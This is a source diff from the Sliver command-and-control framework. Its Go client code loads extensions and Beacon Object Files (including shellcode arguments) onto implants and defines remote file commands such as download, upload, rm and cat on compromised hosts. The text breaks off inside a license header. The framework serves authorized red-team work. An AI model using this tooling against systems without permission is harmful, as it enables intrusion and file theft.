for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
if err = loadExtension(ctx, session, con, &ext); err != nil {
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// that require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
extName = ext.DependsOn
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
err = argsBuffer.AddData(data)
if err != nil {
return nil, err
}
}
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(binData)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
}
extensionArgs, err = extensionArgsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return extensionArgs, nil
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]extensionCommand)
}
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
}
-339
View File
@@ -1,339 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"text/tabwriter"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
func ls(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
ctx.Args = append(ctx.Args, ".")
}
ls, err := rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
printDirList(ls)
}
}
func printDirList(dirList *sliverpb.Ls) {
fmt.Printf("%s\n", dirList.Path)
fmt.Printf("%s\n", strings.Repeat("=", len(dirList.Path)))
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
for _, fileInfo := range dirList.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
}
}
table.Flush()
}
func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: file or directory name\n")
return
}
rm, err := rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"%s\n", rm.Path)
}
}
func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: directory name\n")
return
}
mkdir, err := rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"%s\n", mkdir.Path)
}
}
func cd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
ctx.Args = append(ctx.Args, ".")
}
pwd, err := rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"%s\n", pwd.Path)
}
}
func pwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
pwd, err := rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: ActiveSession.Request(ctx),
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"%s\n", pwd.Path)
}
}
func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) == 0 {
fmt.Printf(Warn + "Missing parameter: file name\n")
return
}
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
}
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
fmt.Println(string(download.Data))
}
} else {
fmt.Println(string(download.Data))
}
}
func colorize(f *sliverpb.Download) error {
lexer := lexers.Match(f.GetPath())
if lexer == nil {
lexer = lexers.Analyse(string(f.GetData()))
if lexer == nil {
lexer = lexers.Fallback
}
}
style := styles.Get("monokai")
if style == nil {
style = styles.Fallback
}
formatter := formatters.Get("terminal16m")
if formatter == nil {
formatter = formatters.Fallback
}
if lexer != nil {
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
if err != nil {
return err
}
err = formatter.Format(os.Stdout, style, iterator)
if err != nil {
return err
}
} else {
return fmt.Errorf("no lexer found")
}
return nil
}
func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
fmt.Println(Warn + "Missing parameter(s), see `help download`\n")
return
}
if len(ctx.Args) == 1 {
ctx.Args = append(ctx.Args, ".")
}
src := ctx.Args[0]
fileName := filepath.Base(src)
dst, _ := filepath.Abs(ctx.Args[1])
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
fmt.Printf(Warn+"%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
ctrl := make(chan bool)
go spin.Until(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: ActiveSession.Request(ctx),
Path: ctx.Args[0],
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
fmt.Printf(Warn+"Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
fmt.Printf(Warn+"Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
fmt.Printf(Warn+"Failed to write data %v\n", err)
} else {
fmt.Printf(Info+"Wrote %d bytes to %s\n", n, dstFile.Name())
}
}
func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
fmt.Printf(Warn + "Missing parameter, see `help upload`\n")
return
}
src, _ := filepath.Abs(ctx.Args[0])
_, err := os.Stat(src)
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
if len(ctx.Args) == 1 {
fileName := filepath.Base(src)
ctx.Args = append(ctx.Args, fileName)
}
dst := ctx.Args[1]
fileBuf, err := ioutil.ReadFile(src)
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
go spin.Until(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: ActiveSession.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(clearln+Info+"Wrote file to %s\n", upload.Path)
}
}
+4
View File
@@ -0,0 +1,4 @@
Filesystem
==========
This package implements file system commands such as `ls`, `cd`, `rm`, `download`, `upload`, etc.
+115
View File
@@ -0,0 +1,115 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"fmt"
"os"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: file name\n")
return
}
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
}
} else {
if ctx.Flags.Bool("hex") {
con.Println(hex.Dump(download.Data))
} else {
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(clearln + Info + "Output saved as loot\n")
// }
// }
}
func colorize(f *sliverpb.Download) error {
lexer := lexers.Match(f.GetPath())
if lexer == nil {
lexer = lexers.Analyse(string(f.GetData()))
if lexer == nil {
lexer = lexers.Fallback
}
}
style := styles.Get("monokai")
if style == nil {
style = styles.Fallback
}
formatter := formatters.Get("terminal16m")
if formatter == nil {
formatter = formatters.Fallback
}
if lexer != nil {
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
if err != nil {
return err
}
err = formatter.Format(os.Stdout, style, iterator)
if err != nil {
return err
}
} else {
return fmt.Errorf("no lexer found")
}
return nil
}
+47
View File
@@ -0,0 +1,47 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("%s\n", pwd.Path)
}
}
+108
View File
@@ -0,0 +1,108 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(Info + "Output saved as loot\n")
// }
// }
}
+183
View File
@@ -0,0 +1,183 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
} else {
PrintLs(ls, con, ctx.Flags, filter)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
con.Printf("%s\n", outputBuf.String())
}
+53
View File
@@ -0,0 +1,53 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: directory name\n")
return
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveSession.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("%s\n", mkdir.Path)
}
}
+45
View File
@@ -0,0 +1,45 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("%s\n", pwd.Path)
}
}
+55
View File
@@ -0,0 +1,55 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveSession.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("%s\n", rm.Path)
}
}
+83
View File
@@ -0,0 +1,83 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
